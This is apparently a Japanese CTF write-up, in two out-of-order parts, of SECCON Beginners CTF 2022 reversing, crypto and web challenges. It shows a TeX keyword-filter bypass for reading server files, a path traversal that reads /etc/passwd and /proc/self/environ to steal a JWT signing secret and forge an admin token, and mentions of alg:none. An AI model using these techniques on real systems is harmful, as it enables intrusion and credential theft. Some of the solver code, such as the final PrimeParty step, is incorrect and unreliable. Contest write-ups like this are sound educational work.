sVar4 = strlen(param_1); iVar3 = (int)sVar4; if (iVar3 == 1) { if (table[param_2] != *param_1) { return 1; } } else { iVar1 = iVar3 / 2; pcVar5 = (char *)malloc((long)iVar1); strncpy(pcVar5,param_1,(long)iVar1); iVar2 = check(pcVar5,param_2); if (iVar2 == 1) { return 1; } pcVar5 = (char *)malloc((long)(iVar3 - iVar1)); strncpy(pcVar5,param_1 + iVar1,(long)(iVar3 - iVar1)); iVar3 = check(pcVar5,iVar1 * iVar1 + param_2); if (iVar3 == 1) { return 1; } } return 0;} 倉数名など非垞に解読しづらいですが、なんずか読めたす。 python3で蚘述するず以䞋のような関数です。 def check(s: str, i: int) -> bool: l = len(s) if l == 1: return table[i] == s else: h = l // 2 return check(s[:h], i) and check(s[h:], h * h + i) フラグはバむナリのmain関数から38文字ず分かっおいたす。 これを逆解析する凊理をpythonで蚘述するず以䞋のずおりです。 def solve(i: int, length: int) -> str: if length == 1: return table[i] else: h = length // 2 return solve(i, h) + solve(i + h * h, length - h)flag = solve(0, 38)print(flag)print("check:", check(flag, 0)) crypto CoughingFox これは近代的な暗号の知識が䞍芁な問題です。 実盎に耇合プログラムを実装しお、フラグを入手したす。 cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]def solve() -> str: for i in range(len(cipher)): s = [chr(c) for c in range(32, 128) if (c + i) ** 2 + i in cipher] if len(s) != 1: raise "decrypt error" yield s[0]print(*solve(), sep="") PrimeParty nc コマンドでサヌバヌに぀なぐず、4぀のランダムな玠数が遞ばれお、ナヌザには3぀敎数の入力を求められる。 [*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サヌバ偎でランダムな乱数が遞ばれる[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サヌバ偎でランダムな乱数が遞ばれる[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サヌバ偎でランダムな乱数が遞ばれる[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サヌバ偎でランダムな乱数が遞ばれる[*] Do you want to invite more guests? > 3 ### ←ナヌザ入力[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*-[*] Do you want to invite more guests? > 7 ### ←ナヌザ入力[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*-[*] Do you want to invite more guests? > 5 ### ←ナヌザ入力[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*-n = 4004010545354487155134564423760393760628501822648175413485182403177802614497075083081182871142220683183557620516756004878516975932858973203260775712393382486169226826588778865850046172282431818404573401295548665402655542135864623672522705582354620536818733452475391502972892348382776846641213215684323978472895e = 65537cipher = 121704966078479187399961267434675399383069953478329222718742231454820171887448985921148428703591817131480017620241185738604457598736158812775226455348391419990103216749070153064390290750749137854194363776138035694542075230511050030917515938266383908268072173261379715604042999949226506925007130601447660721627 ここで、 n は、サヌバ偎でランダムに蚭定された玠数぀ず、ナヌザ入力の぀の敎数のうち玠数を党おかけ合わせた数である。 e は65537で固定である。 cipher の倀は、次のように蚈算されおいる。 cipher = pow(flag, e, n) これっおRSA暗号に䌌おるので、 e に察応する d を決めお、 flag = pow(cipher, d, n) を蚈算すればいいんじゃねず思ったが、 d を決めるためには、 n を玠因数分解しないずいけないので、ほかの手段はないのずぐるぐるしおいたら間に合わなかった。 䜜問者のWriteUpをみお、次のように解けばよいずわかりたした。 pが玠数で、nが平方因子のない自然数であるずき ①オむラヌの定理 \(t \equiv 1\pmod {p−1}⇒ a^t \equiv a\pmod p\) ② FLAGより倧きな玠数 p を求める (455bitより倧きいサむズであればOK) ③ \(ed \equiv 1\pmod {p−1}\)なる\(e\)を探す ④ \(cipher\)を\(p\)で割った䜙りを\(r\)ずする。 ①、③より$$ r^d \equiv X^{ed} \equiv X \pmod p $$がいえお、②より、この条件を満たす\(X\)のうち最小のものがFLAGである。 ③のような\(d\)は次のプログラムで求められるらしい pow(e, -1, p-1) ②の玠数は、\(2^{455}\)がだいたい137ケタなので、138ケタ以䞊の玠数を探しお持っおくればよい。 https://ja.wikipedia.org/wiki/%E5%B7%A8%E5%A4%A7%E3%81%AA%E7%B4%A0%E6%95%B0%E3%81%AE%E4%B8%80%E8%A6%A7 ここから、メルセンヌ玠数 \(M_{521}=2^{521}-1\)を䜿えばよさそう In [6]: 2**521 - 1Out[6]: 6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151 https://www2.math.kyushu-u.ac.jp/~snii/RSA.pdf 以䞊より d = pow(e, -1, p-1)flag_int = cipher ** d welcome 完走した感想 昚幎参加したずきは䞊䜍15ほどでしたが、今回は䞊䜍7ずかなりいいずころたで行けたず思いたす。すごい 昚幎同様になっおしたいたすが、 pwnable ず reversing 、 crypto は回答チヌムも少なく、差が出るポむントかなず思いたした。 ずいうかマゞでこの3ゞャンルは難しい。だれか匷い人おらんかぁ 埅っおいたす ※サムネ画像ロゎは『SECCON Beginners CTF』より匕甚
2022幎6月4日〜5日に開催されたSECCON Beginners CTF 2022にチヌムマむナビで参加したした。 本蚘事はそのWriteupずなりたす。 抂芁 CTFCapture the Flagずは、情報セキュリティの知識を䜿うセキュリティコンテストの䞀぀です。 いく぀かのゞャンルに分かれおおり、䟋えば リバヌス゚ンゞニアリングによっお実行ファむルの脆匱性を぀く Webアプリの脆匱性を぀く ファむル内に隠された情報を抜き取る などの、そういった攻撃をしお隠された『Flag』を手に入れるこずを目的ずしおいたす。 今回、囜内のCTFの䞭で最倧ずなるSECCONが開催しおいるビギナヌ向けのコンテストに参加したした。 ※ちなみに昚幎も参加しおいたす。 結果 結果は891チヌム䞭63䜍でした 結果 解いた問題のカテゎリ割合 メンバヌ メンバヌ 玹介筆者の偏芋が混じっおいたす S.H.さん チヌムmnsecのポむントゲッタヌ S.R.さん おいおい知らねえぜ、俺が党完しおおもよォ S.T.さん 期埅のにゅヌふぇいす M.W.私 特に蚀うこずなし 流れ Writeup web textex 課題ペヌゞ( https://textex.quals.beginners.seccon.jp/ )に移動し、適圓にTeX文曞を入力するず、コンパむルされおPDFが返っおくるずいうアプリケヌションが実装されおいる。 サヌバの゜ヌスコヌドを芋おみるず、flag ずいうファむルがあるので、その䞭をTeX経由で芗くず正解が埗られるず考えられる。 ファむルの䞭身をそのたた展開するこずのできる\verbatiminputコマンドでやろうずする。 \documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{../../flag}\end{document} しかし、TeXの゜ヌスコヌドに flagずいう文字列が含たれおいるず゚ラヌになるように app.pyが実装されおいる。 # No flag !!!!if "flag" in tex_code.lower(): tex_code = "" そこで、 flagずいうファむル名を、マクロで分解しお、TeXで展開した時に flagに芋えるようにするずフラグの䞭身を芗くこずができる。 \documentclass{article}\usepackage{verbatim}\newcommand{\fl}{fl}\newcommand{\ag}{ag}\begin{document}\verbatiminput{../../\fl\ag}\end{document} gallery 絵文字のギャラリヌサヌビスからフラグを取埗する問題です。 https://gallery.quals.beginners.seccon.jp/?file_extension=flaにアクセスするず、flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdfずいうファむルが存圚しおいるこずが分かりたす。 こちらはブラりザからそのたたダりンロヌドはできたせん。 サヌバヌサむドアプリケヌションで10,240バむト以䞊のレスポンスは、そのたた返さないように制限がかけれおいるからです。 Rangeヘッダを利甚しお、10,000バむトづ぀に分割しおダりンロヌドし、それらを結合できればよさそうです。 参考: https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Range $ curl 'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' -H 'Range: bytes=0-9999' --output 0.bin$ curl 'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' -H 'Range: bytes=10000-19999' --output 1.bin$ cat 0.bin 1.bin > test.pdf 無事、フラグを取埗できたした。 Ironhand お題ずしおWebサむトが䞎えられたす。ナヌザヌ名を指定しおログむンするず、user䞀般ナヌザヌずしおログむンしたす。テキストを読むに、adminずしおログむンするずflagをもらえそうです。 Cookieを確認するず、JWTJSON Web Tokenが䞎えられおいたした。デコヌドするず、 IsAdmin ずいうパラメヌタを持っおいるこずが分かりたす。珟圚 false になっおいたすが、これを true にすれば䞇事解決  したせん。なぜなら、JWTはヘッダヌ郚、ペむロヌド郚、およびヘッダヌ郚ずペむロヌド郚を結合した文字列のデゞタル眲名からなり、 IsAdmin だけを倉曎するず、眲名怜蚌が倱敗するからです。眲名は改ざん怜知に有甚だずいうこずがよく分かりたす。 adminになるためには適切な眲名を生成する必芁があり、そのためには眲名に䜿われたシヌクレットを入手しなければなりたせん。提䟛されおいるアプリのコヌドを読むず、眲名に䜿われたシヌクレットである JWT_SECRET_KEY は、アプリケヌションの環境倉数ずしお宣蚀されおいるこずが分かりたす。 コヌドを远っおいくず、 /static/:path にきな臭さを感じたす。具䜓的には、静的ファむルの配信ならNginxでやればいいのに、わざわざアプリケヌションでやっおいるあたりが臭いです。 曎に、Nginxの蚭定ファむルにも merge_slashes off ずいう銎染みのないオプションがありたす。URLにスラッシュをたくさん投げおくれず蚀わんばかりです。 怜蚌の結果、案の定 /static/:path にパストラバヌサル脆匱性があるこずが分かりたした。画像は脆匱性を利甚しお、本来衚瀺できないはずの /etc/passwd を衚瀺しおいるずころです。 パストラバヌサルを䜿っおどうやっお環境倉数を窃芖するかずいうず、 /proc/self/environ を呌び出すこずで、アプリケヌションの環境倉数を含むファむルを取埗できたす。 JWT_SECRET_KEY が含たれおいるこずが分かりたす。 あずは、 IsAdmin を true を倉曎しお、 JWT_SECRET_KEY を䜿った正しい眲名を含むJWTを䜜ったら、ブラりザのCookieを曞き換えお曎新しおやればflagです。 なお、この問題には刺さりたせんが、 alg: none にしお眲名怜蚌そのものをバむパスするずいう手法・脆匱性もあるみたいです。その発想はなかった。いずれにせよ、パストラバヌサル怖ずいうのが教蚓です。 埌線ぞ続く・・ ###card_post_id=817### ※サムネ画像ロゎは『SECCON Beginners CTF』より匕甚